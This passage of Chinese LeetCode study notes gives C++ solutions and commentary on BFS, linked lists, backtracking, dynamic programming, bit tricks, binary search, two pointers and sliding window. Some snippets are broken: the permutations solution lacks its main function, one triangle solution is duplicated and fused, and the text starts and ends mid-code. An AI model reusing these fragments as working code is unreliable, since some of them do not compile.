    int dy[4] = {1,0,-1,0};
    int orangesRotting(vector<vector<int>>& grid) {
        queue<pair<int,int>> Q;
        memset(dis,-1,sizeof((dis)));
        cnt = 0;
        int n = grid.size(),m = grid[0].size(),ans=0;
        //初始化
        for(int i=0;i<n;i++){
            for(int j=0;j<m;j++){
                if(grid[i][j] == 2){//2是腐烂,距离为0
                    Q.push(make_pair(i,j));//所有的腐烂橘子入队                                                                                          
                    dis[i][j] = 0;
                }
                else if(grid[i][j] == 1) cnt += 1;//cnt统计一共多少个好的橘子
            }
        }
        //广度优先搜索
        while(!Q.empty()){
            pair<int,int> x = Q.front();//x是从队列中取出来的腐烂橘子
            Q.pop();
            for(int i=0;i<4;i++){
                int tx = x.first + dx[i];//寻找腐烂橘子的上下左右
                int ty = x.second + dy[i];
                if(tx<0 || ty<0 || tx >=n || ty >=m || !grid[tx][ty] || ~dis[tx][ty]) continue;//错误的上下左右
                dis[tx][ty] = dis[x.first][x.second] + 1;//发散+1
                Q.push(make_pair(tx,ty));//发散后的入列
                if(grid[tx][ty] == 1){//感染一个正常橘子
                    cnt -= 1;//正常橘子数目-1
                    ans = dis[tx][ty];//ans是当前的值
                    if(!cnt) break;//如果正常橘子被感染完全了,结束
                }
            }
        }
        return cnt ? -1:ans;//cnt=0返回ans;cnt=1返回-1,则是不可能感染所有的橘子
    }
};

第 10 天 递归 / 回溯

21. 合并两个有序链表

最简洁明了的递归

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) {
        if(l1 == nullptr){
            return l2;
        }else if(l2 == nullptr){
            return l1;
        }else if(l1->val < l2->val){
            l1->next = mergeTwoLists(l1->next,l2);
            return l1;
        }else{
            l2->next = mergeTwoLists(l1,l2->next);
            return l2;
        }
    }
};

迭代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) {
        ListNode* prehead = new ListNode(-1);
        ListNode* pre = prehead;
        while(l1 != nullptr && l2 != nullptr){
            if(l1->val < l2->val){
                pre->next = l1;
                l1 = l1->next;
            }else{
                pre->next = l2;
                l2 = l2->next;
            }
            pre = pre->next;
        }
        pre->next = l1 == nullptr ? l2:l1;
        return prehead->next;
    }
};

206. 反转链表

mine

image-20210809102021413

注释了，100%，不注释，58%，不晓得为啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* reverseList(ListNode* head) {
        //if(head == nullptr) return head;
        vector<int> v;

        while(head!=nullptr){
            v.push_back(head->val);
            head = head->next;
        }

        ListNode* prehead = new ListNode(-1);
        ListNode* pre = prehead;
        for(int i=v.size()-1;i>=0;i--){
            prehead -> next = new ListNode(v[i]);
            prehead = prehead -> next;
        }
        return pre->next;
    }
};

answer1

迭代，有点绕

改指针，转过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* reverseList(ListNode* head) {
        ListNode* prev = nullptr;
        ListNode* curr = head;

        while(curr){
            ListNode* next = curr->next;
            curr->next = prev;
            prev = curr;
            curr = next;
        }
        return prev;
    }
};

answer2

递归，高级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* reverseList(ListNode* head) {
        if(!head || !head->next) return head;
        ListNode* newhead = reverseList(head->next);
        head->next->next = head;
        head->next = nullptr;
        return newhead;
    }
};

第 11 天 递归 / 回溯

77. 组合

dfs的向量写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Solution {
public:
    vector<int> temp;
    vector<vector<int>> ans;

    //cur是当前是数字几
    void dfs(int cur,int n,int k){
        if(temp.size() + (n-cur+1)<k){//无法拼凑到k个数
            return;
        }
        if(temp.size() == k){//一种组合
            ans.push_back(temp);
            return;
        }
        //选择cur加入
        temp.push_back(cur);
        dfs(cur+1,n,k);
        temp.pop_back();
        //不选择cur加入
        dfs(cur+1,n,k);
    }
    vector<vector<int>> combine(int n, int k) {
        dfs(1,n,k);
        return ans;
    }
};

高级，，，就很神奇

通过j<k，通知个数

通过temp[j]+1 == temp[j+1]，让最大就增加到两个相邻；否则用++temp[j];找每个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Solution {
public:
    vector<int> temp;
    vector<vector<int>> ans;

    vector<vector<int>> combine(int n, int k) {
        for(int i=1;i<=k;i++){
            temp.push_back(i);        
        }
        temp.push_back(n+1);//哨兵

        int j=0;
        while(j<k){
            ans.emplace_back(temp.begin(),temp.begin()+k);
            j=0;
            while(j<k && temp[j]+1 == temp[j+1]){
                temp[j] = j+1;
                ++j;
            }
            ++temp[j];
        }
        return ans;
    }
};

46. 全排列

就c++的全排列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
    void backtrack(vector<vector<int>>& res,vector<int>&output,int first,int len){
        if(first == len){
            res.emplace_back(output);
            return;
        }
        for(int i=first;i<len;i++){
            swap(output[i],output[first]);
            backtrack(res,output,first+1,len);
            swap(output[i],output[first]);
        }
    }
      
    }
};

784. 字母大小写全排列

深度搜索，全排列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Solution {
public:
    vector<string> ans;
    bool isSmall(char c){
        return c>='a' && c<='z';
    }
    bool isBig(char c){
        return c>='A' && c<='Z';
    }
    void dfs(string& now,string& s,int i){
        if(i==s.length())
            ans.push_back(now);
        else{
            if(isSmall(s[i])){
                now.push_back(s[i]-('a'-'A'));
                dfs(now,s,i+1);
                now.pop_back();
            }else if(isBig(s[i])){
                now.push_back(s[i]+('a'-'A'));
                dfs(now,s,i+1);
                now.pop_back();
            }now.push_back(s[i]);
            dfs(now,s,i+1);
            now.pop_back();
        }
    }
    vector<string> letterCasePermutation(string s) {
        string now;//now是当前完成的字符串，s是原始串
        dfs(now,s,0);
        return ans;
    }
};

递归的位运算

image-20210822153225929

大小A差距32，所以异或32即可

A的32位为0，不同为1，就加上32了

a的32位位1，相同为0，就减去32了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
public:
    void dfs(string s,int n,vector<string>& res){
        if(s.size() == n) return res.push_back(s);
        if(isdigit(s[n])) return dfs(s,n+1,res);
        dfs(s,n+1,res);
        s[n] ^= (1<<5);
        dfs(s,n+1,res);
    }
    vector<string> letterCasePermutation(string s) {
        vector<string> res;
        dfs(s,0,res);
        return res;
    }
};

非递归

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
public:
    vector<string> letterCasePermutation(string s) {
        vector<string> result{s};
        int n = s.size();
        for(int i=0;i<n;i++){//循环每个字符
            if(isupper(s[i])){//当前字符为大写
                int size = result.size();
                for(int j=0;j<size;j++){//当原来所有的字符串，改位置改为小写
                    string temp = result[j];
                    temp[i] = tolower(temp[i]);
                    result.emplace_back(temp);
                }
            }else if(islower(s[i])){
                int size = result.size();
                for(int j=0;j<size;j++){
                    string temp = result[j];
                    temp[i] = toupper(temp[i]);
                    result.emplace_back(temp);
                }
            }
        }
        return result;
    }
};

第 12 天 动态规划

70. 爬楼梯

动态规划

f(x)=f(x−1)+f(x−2)

「滚动数组思想」把空间复杂度优化成 O(1)

fig1

1
2
3
4
5
6
7
8
9
10
11
12
class Solution {
public:
    int climbStairs(int n) {
        int p=0,q=0,r=1;
        for(int i=1;i<=n;i++){
            p=q;
            q=r;
            r=p+q;
        }
        return r;
    }
};

矩阵快速幂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Solution {
public:
    vector<vector<long long>> multiply(vector<vector<long long>>&a,vector<vector<long long>> &b){
        vector<vector<long long>> c(2,vector<long long>(2));
        for(int i=0;i<2;i++){
            for(int j=0;j<2;j++){
                c[i][j] = a[i][0]*b[0][j] + a[i][1]*b[1][j];
            }
        }
        return c;
    }
    vector<vector<long long>> matrixPow(vector<vector<long long>> a,int n){
        vector<vector<long long>> ret = {{1,0},{0,1}};//初始为单位矩阵
        while(n>0){
            if(n&1 == 1){
                ret = multiply(ret,a);//每次积累
            }
            n>>=1;
            a=multiply(a,a);
        }
        return ret;
    }
    int climbStairs(int n) {
        vector<vector<long long>> ret = {{1,1},{1,0}};
        vector<vector<long long>> res = matrixPow(ret,n);
        return res[0][0];
    }
};

通向公式，数学yyds

image-20210826002323668

1
2
3
4
5
6
7
8
class Solution {
public:
    int climbStairs(int n) {
        double sqrt5 = sqrt(5);
        double fibn = pow((1+sqrt5)/2,n+1) - pow((1-sqrt5)/2,n+1);
        return round(fibn/sqrt5);//round:四舍五入
    }
};

198. 打家劫舍

最简单的动态规划

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
    int rob(vector<int>& nums) {
        if(nums.empty()){
            return 0;
        }
        int size = nums.size();
        if(size==1){
            return nums[0];
        }
        vector<int> dp = vector<int>(size,0);
        dp[0] = nums[0];
        dp[1] = max(nums[0],nums[1]);
        for(int i=2;i<size;i++){
            dp[i] = max(dp[i-2]+nums[i],dp[i-1]);
        }
        return dp[size-1];
    }
};

类似于滚动数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
    int rob(vector<int>& nums) {
        if(nums.empty()){
            return 0;
        }
        int size = nums.size();
        if(size==1){
            return nums[0];
        }
        int first = nums[0],second = max(nums[0],nums[1]);
        for(int i=2;i<size;i++){//三个分别是：first、second、max
            int temp = second;
            second = max(first+nums[i],second);
            first = temp;
        }
        return second;
    }
};

120. 三角形最小路径和

枚举所有情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
    int minimumTotal(vector<vector<int>>& triangle) {
        int n = triangle.size();
        vector<vector<int>> f(n,vector<int>(n));
        f[0][0] = triangle[0][0];//最左边的情况
        for(int i=1;i<n;i++){//中间
            f[i][0] = f[i-1][0]+triangle[i][0];
            for(int j=1;j<i;j++){
                f[i][j] = min(f[i-1][j-1],f[i-1][j])+triangle[i][j];
            }
            f[i][i] = f[i-1][i-1]+triangle[i][i];//最右边
        }
        return *min_element(f[n-1].begin(),f[n-1].end());//min_element取容器中的最小值，*取的是二维数组中取出来的一维数组的值
    }
};

空间复杂度的优化

用两个长度为n的数组代替n*n的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Solution {
public:
    int minimumTotal(vector<vector<int>>& triangle) {
        int n = triangle.size();
        vector<vector<int>> f(2,vector<int>(n));//2n的空间
        f[0][0] = triangle[0][0];
        for(int i=1;i<n;i++){
            int curr = i%2;//第一个n
            int prev = 1-curr;//第二个n，实现交替0 1，1 0
            f[curr][0] = f[prev][0] + triangle[i][0];//当前值还是用i，保存的地址是curr和prev
            for(int j=1;j<i;j++){
                f[curr][j] = min(f[prev][j-1],f[prev][j])+triangle[i][j];
            }
            f[curr][i] = f[prev][i-1]+triangle[i][i];
        }
        return *min_element(f[(n-1)%2].begin(),f[(n-1)%2].end());

    }
};class Solution {
public:
    int minimumTotal(vector<vector<int>>& triangle) {
        int n = triangle.size();
        vector<vector<int>> f(2,vector<int>(n));//2n的空间
        f[0][0] = triangle[0][0];
        for(int i=1;i<n;i++){
            int curr = i%2;//第一个n
            int prev = 1-curr;//第二个n，实现交替0 1，1 0
            f[curr][0] = f[prev][0] + triangle[i][0];//当前值还是用i，保存的地址是curr和prev
            for(int j=1;j<i;j++){
                f[curr][j] = min(f[prev][j-1],f[prev][j])+triangle[i][j];
            }
            f[curr][i] = f[prev][i-1]+triangle[i][i];
        }
        return *min_element(f[(n-1)%2].begin(),f[(n-1)%2].end());//f[(n-1)%2:最后一行的结果

    }
};

空间复杂度n的优化，不过没太看懂，就一点点感觉那种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
    int minimumTotal(vector<vector<int>>& triangle) {
        int n = triangle.size();
        vector<int> f(n);
        f[0] = triangle[0][0];
        for(int i=1;i<n;i++){
            f[i] = f[i-1] + triangle[i][i];
            for(int j=i-1;j>0;j--){
                f[j] = min(f[j-1],f[j])+triangle[i][j];
            }
            f[0] += triangle[i][0];
        }

        return *min_element(f.begin(),f.end());
    }
};

第 13 天 位运算

231. 2 的幂

根据位运算的特点得到两个公式

1
2
3
4
5
6
class Solution {
public:
    bool isPowerOfTwo(int n) {
        return n>0 && (n&(n-1)) == 0;
    }
};
1
2
3
4
5
6
class Solution {
public:
    bool isPowerOfTwo(int n) {
        return n>0 && (n&(-n)) == n;
    }
};

如果事最大的2幂次的约数，那么就是了。interesting

1
2
3
4
5
6
7
class Solution {
public:
    static constexpr int BIG = 1<<30;
    bool isPowerOfTwo(int n) {
        return n>0 && BIG % n == 0;
    }
};

191. 位1的个数

正常的简答逻辑

1
2
3
4
5
6
7
8
9
10
11
12
class Solution {
public:
    int hammingWeight(uint32_t n) {
        int ret=0;
        for(int i=0;i<32;i++){
            if(n&(1<<i)){
                ret++;
            }
        }
        return ret;
    }
};

效率比之前的好，每次把最后一个1位置零

1
2
3
4
5
6
7
8
9
10
11
class Solution {
public:
    int hammingWeight(uint32_t n) {
        int ret=0;
        while(n){
            n&=n-1;
            ret++;
        }    
        return ret;
    }
};

第 14 天 位运算

190. 颠倒二进制位

rev存的是结果，一开始是全0，将数n依次从前头的1与到rev里面。

1
2
3
4
5
6
7
8
9
10
11
class Solution {
public:
    uint32_t reverseBits(uint32_t n) {
        uint32_t rev=0;
        for(int i=0;i<32 && n>0;++i){
            rev |= (n&1) << (31-i);
            n>>=1;
        }    
        return rev;
    }
};

高级，没太看懂，大概意思就是每次分治，先2位交换，逐步扩展到最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
private:
    const uint32_t M1 = 0x55555555;
    const uint32_t M2 = 0x33333333;
    const uint32_t M3 = 0x0f0f0f0f;
    const uint32_t M4 = 0x00ff00ff; 
public:
    uint32_t reverseBits(uint32_t n) {
        n = ((n >> 1)& M1) | ((n&M1) << 1);
        n = ((n >> 2)& M2) | ((n&M2) << 2);
        n = ((n >> 4)& M3) | ((n&M3) << 4);
        n = ((n >> 8)& M4) | ((n&M4) << 8);  
        return n>>16 | n<< 16;
    }
};

136. 只出现一次的数字

hhh，之前看过这个视频，做出来饿了

1
2
3
4
5
6
7
8
9
10
11
class Solution {
public:
    int singleNumber(vector<int>& nums) {
        int size = nums.size();
        int ans=0;
        for(int i=0;i<size;i++){
            ans ^= nums[i];
        }
        return ans;
    }
};

和答案基本一致，就是不太会用加强for循环，emm，其实主要用在能放一组元素的变量里面

1
2
3
4
5
6
7
8
class Solution {
public:
    int singleNumber(vector<int>& nums) {
        int ret = 0;
        for(auto e:nums) ret^=e;
        return ret;
    }
};

算法基础

第 1 天 二分查找

34. 在排序数组中查找元素的第一个和最后一个位置

二分查找得改进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Solution {
public:
    int binarySearch(vector<int>& nums, int target,bool lower) {
        int left = 0,right = (int)nums.size()-1,ans = (int)nums.size();
        while(left<=right){
            int mid = (left + right) / 2;
            if(nums[mid] > target || (lower && nums[mid] >= target)){
                right = mid-1;
                ans = mid;
            }else{
                left = mid+1;
            }
        }
        return ans;
    }
    vector<int> searchRange(vector<int> nums,int target){
        int leftId = binarySearch(nums,target,true);
        int rightId = binarySearch(nums,target,false)-1;
        if(leftId<=rightId && rightId<nums.size() && nums[leftId]==target&&nums[rightId]==target){
            return vector<int>{leftId,rightId};
        }
        return vector<int>{-1,-1};
    }
};

33. 搜索旋转排序数组

分两半

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Solution {
public:
    int search(vector<int>& nums, int target) {
        int n = (int)nums.size();
        if(!n){
            return -1;
        }
        if(n==1){
            return nums[0] == target ?0:-1;
        }
        int l=0,r=n-1;
        while(l<=r){
            int mid = (l+r)/2;
            if(nums[mid] == target) return mid;
            if(nums[0]<=nums[mid]){
                if(nums[0]<=target && target<nums[mid]){
                    r = mid - 1;
                }else{
                    l = mid + 1;
                }
            }else{
                if(nums[mid] < target && target <= nums[n-1]){
                    l = mid+1;
                }else{
                    r = mid - 1;
                }
            }
        }
        return -1;
    }
};

74. 搜索二维矩阵

匿名函数

参考链接

格式：

1
[capture](parameters)->return-type{body}
  • 当parameters为空的时候，()可以被省去
  • 当body只有“return”或者返回为void，那么”->return-type“可以被省去

upper_bound

参考链接

lower_bound( begin,end,num)：查找第一个大于等于num得数

upper_bound( begin,end,num)：查找第一个大于num得数

参考链接

是c++ stl里面得函数

1
binary_search(arr[],arr[]+size , indx) b
1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution {
public:
    bool searchMatrix(vector<vector<int>>& matrix, int target) {
        auto row = upper_bound(matrix.begin(),matrix.end(),target,[](const int b,const vector<int>&a){
            return b < a[0];
        });
        if(row == matrix.begin()){
            return false;
        }
        --row;
        return binary_search(row->begin(),row->end(),target);
    }
};

矩阵式的二分查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
    bool searchMatrix(vector<vector<int>>& matrix, int target) {
        int m = matrix.size(),n = matrix[0].size();
        int low = 0,high = m*n - 1;
        while(low <= high){
            int mid = (low + high) / 2;
            int x = matrix[mid / n][mid % n];
            if(x < target){
                low = mid + 1;
            }else if(x>target){
                high = mid - 1;
            }else{
                return true;
            }
        }
        return false;
    }
};

第 2 天 二分查找

153. 寻找旋转排序数组中的最小值

mine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
public:
    int findMin(vector<int>& nums) {
        int n = nums.size();
        if(!n){
            return -1;
        }
        if(n==1){
            return nums[0];
        }
        int l =0,r = n-1;
        while(l <= r){
            int mid = (l+r) / 2;
            if(nums[mid] < nums[(mid+1)%n] && nums[(mid+n-1)%n] > nums[mid]){
                return nums[mid];
            }else if(nums[r] > nums[mid]){
                r = mid-1;
            }else{
                l = mid+1;
            }
        }
        return -1;

    }
};

answer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
    int findMin(vector<int>& nums) {
        int low = 0;
        int high = nums.size()-1;
        while(low < high){
            int pivot = low + (high - low) / 2;
            if(nums[pivot] < nums[high]){
                high = pivot;
            }else{
                low = pivot + 1;
            }
        }
        return nums[low];
    }
};

162. 寻找峰值

mine

没看出来要怎么用二分查找，这里的数组无序呀，，，然后就循环求，效率还好，，，

image-20210827115136407

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
public:
    int findPeakElement(vector<int>& nums) {
        int max=nums[0];
        int idx=0;
        int i;
        for(i=0;i<nums.size();i++){
            if(nums[i] > max){
                max =nums[i];
                idx = i;
            }
        }
        return idx;
    }
};

哦，是求峰值，不是最大值，打扰了

有意思，根据情况分类，只要满足一个条件就可以找到了

image-20210827115552132

1
2
3
4
5
6
7
8
9
10
11
class Solution {
public:
    int findPeakElement(vector<int>& nums) {
        for(int i=0;i<nums.size()-1;i++){
            if(nums[i] > nums[i+1]){
                return i;
            }
        }
        return nums.size()-1;
    }
};

二分递归

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
    int search(vector<int>&nums,int l,int r){
        if(l == r){
            return l;
        }
        int mid = (l+r)/2;
        if(nums[mid]>nums[mid+1]){
            return search(nums,l,mid);
        }
        return search(nums,mid+1,r);
    }
    int findPeakElement(vector<int>& nums) {
        return search(nums,0,nums.size()-1);
    }
    
};

第 3 天 双指针

82. 删除排序链表中的重复元素 II

思路很简单，看怎么写了，代码给注释

有利地方：链表有序

难点：

  1. 怎么判断重复了，easy
  2. 如何删除元素
  3. 如果继续往下走
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* deleteDuplicates(ListNode* head) {
        if(!head){
            return head;
        }
        ListNode* dummy = new ListNode(0,head);//头节点指向最前面
        ListNode* cur = dummy;
        while(cur->next && cur->next->next){//存在是前提
            if(cur->next->val == cur->next->next->val){//出现连续
                int x = cur->next->val;//取出值
                while(cur->next && cur->next->val == x){//循环是否等于x
                    cur->next = cur->next->next;//删除节点
                }
            }else{
                cur=cur->next;//不用删除，往后走即可
            }
        }
        return dummy->next;
    }
};

15. 三数之和

两数之和的升级版，首先肯定是先确定一个值，剩下就简化为两数之和。

为了不重复怎么办：

  • 首先对数组排序
  • 其次前两个数判断是否连续了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class Solution {
public:
    vector<vector<int>> threeSum(vector<int>& nums) {
        int n = nums.size();
        //为了不重复，首先进行一次排序
        sort(nums.begin(),nums.end());
        vector<vector<int>> ans;
        for(int first = 0;first<n;first++){
            //first是三元组的第一个数，两次枚举这两个应该不同
            if(first > 0&& nums[first]==nums[first-1]){
                continue;
            }
            int third = n-1;//双指针法：second从左走到右边，third从右边走到左边
            int target = -nums[first];//因为需要和为0，简化为两数求和
            for(int second=first+1;second<n;second++){
                //两次枚举不同值
                if(second > first+1 && nums[second]==nums[second-1]){
                    continue;
                }
                //双指针开始：大了，右指针左移
                while(second < third && nums[second]+nums[third] > target){
                    --third;
                }
                //指针重合,over
                if(second == third){
                    break;
                }
                if(nums[second]+nums[third]==target){
                    ans.push_back({nums[first],nums[second],nums[third]});
                }
            }
        }
        return ans;
    }
};

第 4 天 双指针

844. 比较含退格的字符串

mine

锻炼自己写代码的能力

image-20210829132310691

中间遇到几个问题

  1. 判断！=0
  2. 两个stack放在一起，由于长度不一样，有问题
  3. 结果用s.size，做结束的判断，由于pop，导致这个值在变化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
class Solution {
public:
    bool backspaceCompare(string s, string t) {
int s_size = s.size();
        int t_size = t.size();
        stack<char> s1;
        stack<char> s2;

        for(int i=0;i<s_size;i++){
            s1.push(s[i]);
            if(s[i]=='#'){
                if(s1.size()!=0){
                    s1.pop();
                }
                if(s1.size()!=0){
                    s1.pop();
                }
            }
        }
        for(int i=0;i<t_size;i++){
            s2.push(t[i]);
            if(t[i]=='#'){
                if(s2.size()!=0){
                    s2.pop();
                }
                if(s2.size()!=0){
                    s2.pop();
                }
            }
        }

        if(s1.size()==0 && s2.size()==0){
            return true;
        }
        if(s1.size()!=s2.size()){
            return false;
        }
        int len = s1.size();
        for(int i=0;i<len;i++){
            if(s1.top() == s2.top()){
                s1.pop();
                s2.pop();
            }else{
                cout<<"winter";

                return false;
            }
        }
        return true;
    }
};

answer1：重构字符串

其实和我的思路是一样的，但是代码简介，，hhh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
    bool backspaceCompare(string S, string T) {
        return build(S) == build(T);
    }

    string build(string str) {
        string ret;
        for (char ch : str) {
            if (ch != '#') {
                ret.push_back(ch);
            } else if (!ret.empty()) {
                ret.pop_back();
            }
        }
        return ret;
    }
};

answer2

双指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class Solution {
public:
    bool backspaceCompare(string S, string T) {
        int i = S.length() - 1, j = T.length() - 1;
        int skipS = 0, skipT = 0;

        while (i >= 0 || j >= 0) {
            //解决两个字符串的#
            while (i >= 0) {
                if (S[i] == '#') {
                    skipS++, i--;
                } else if (skipS > 0) {
                    skipS--, i--;
                } else {
                    break;
                }
            }
            while (j >= 0) {
                if (T[j] == '#') {
                    skipT++, j--;
                } else if (skipT > 0) {
                    skipT--, j--;
                } else {
                    break;
                }
            }
            //没有#了，判断字符串是否相等
            if (i >= 0 && j >= 0) {
                if (S[i] != T[j]) {
                    return false;
                }
            } else {
                if (i >= 0 || j >= 0) {
                    return false;
                }
            }
            i--, j--;
        }
        return true;
    }
};

986. 区间列表的交集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Solution {
public:
    vector<vector<int>> intervalIntersection(vector<vector<int>>& firstList, vector<vector<int>>& secondList) {
        vector<vector<int>> res;
        if(firstList.size() == 0 || secondList.size() == 0) return res;
        int i = 0, j = 0, l, r;
        int len1 = firstList.size();
        int len2 = secondList.size();
        while(i < len1 && j < len2){
            l = max(firstList[i][0], secondList[j][0]);
            r = min(firstList[i][1], secondList[j][1]);
            if(l <= r){ // 找到交集的情况
                vector<int> tmp;
                tmp.push_back(l);
                tmp.push_back(r);
                res.push_back(tmp);
            }
            // 无论是否交汇，j中较小只都应该向前移动
            if(firstList[i][1] == r){
                ++i;
            }else{
                ++j;
            }
        }
        return res;
    }
};

11. 盛最多水的容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
    int maxArea(vector<int>& height) {
        int l = 0, r = height.size() - 1;
        int ans = 0;
        while (l < r) {
            int area = min(height[l], height[r]) * (r - l);
            ans = max(ans, area);
            if (height[l] <= height[r]) {
                ++l;
            }
            else {
                --r;
            }
        }
        return ans;
    }
};

今天用ipad做的，结果找不到代码了，，，，就直接拿的答案，，，

第 5 天 滑动窗口

438. 找到字符串中所有字母异位词

暴力算法，是真的很慢，hhh

image-20210830201604705

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Solution {
public:
    vector<int> findAnagrams(string s, string p) {
        vector<int> res;
        if(s.length() < p.length()) return res;
        int length = p.length();
        //暴力循环
        for(int i=0;i<s.length()-p.length()+1;i++){
            if(isyiwei(s.substr(i,length),p)){
                res.push_back(i);
            }
        }
        return res;
    }
    //判断是否是异味，主要是看每个字符的长度是不是一样
    bool isyiwei(string str_a,string str_b){
        int num[26]={0};
        int size = str_a.length();
        for(int i=0;i<size;i++){
            //一个+，一个-，除非str_a和str_b一样，返回true
            num[str_a[i]-'a']+=1;
            num[str_b[i]-'a']-=1;
        }
        for(int i=0;i<26;i++){
            if(num[i]!=0)return false;
        }
        return true;
    }
};

保存，每次加上1位，减去一位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Solution {
public:
    vector<int> findAnagrams(string s, string p) {
        int length_p = p.length();
        int length_s = s.length();
        vector<int>res;
        if(length_p > length_s) return res;//从长度

        //最开始
        vector<int> temp_s(26,0),temp_p(26,0);
        for(int i=0;i<length_p;i++){
            temp_p[p[i]-'a']++;
            temp_s[s[i]-'a']++;
        }
        if(temp_p == temp_s) res.push_back(0);

        //循环加上一位
        for(int i=0;i+length_p<length_s;i++){
            //去掉s[i]，换上s[i+length]，相当于滑动窗口的移动
            temp_s[s[i]-'a']--;
            temp_s[s[i+length_p]-'a']++;
            if(temp_p==temp_s){
                res.push_back(i+1);
            }
        }
        return res;
    }
};

713. 乘积小于K的子数组

由于题目要求是连续的子数组，所以很明显要用滑动窗口进行求解

image-20210830203223375

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
    int numSubarrayProductLessThanK(vector<int>& nums, int k) {
        if(k<=1) return 0;
        int n = nums.size();
        int res=0,l=0,r=0;
        int windows_mul = 1;
        while(r<n){
            windows_mul*=nums[r];
            //不满足条件，剔除左边的元素
            while(windows_mul>=k){
                windows_mul/=nums[l];
                l++;
            }
            //满足条件，加入右边的元素
            res += (r-l+1);
            r++;
        }
        return res;
    }
};

209. 长度最小的子数组

暴力法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
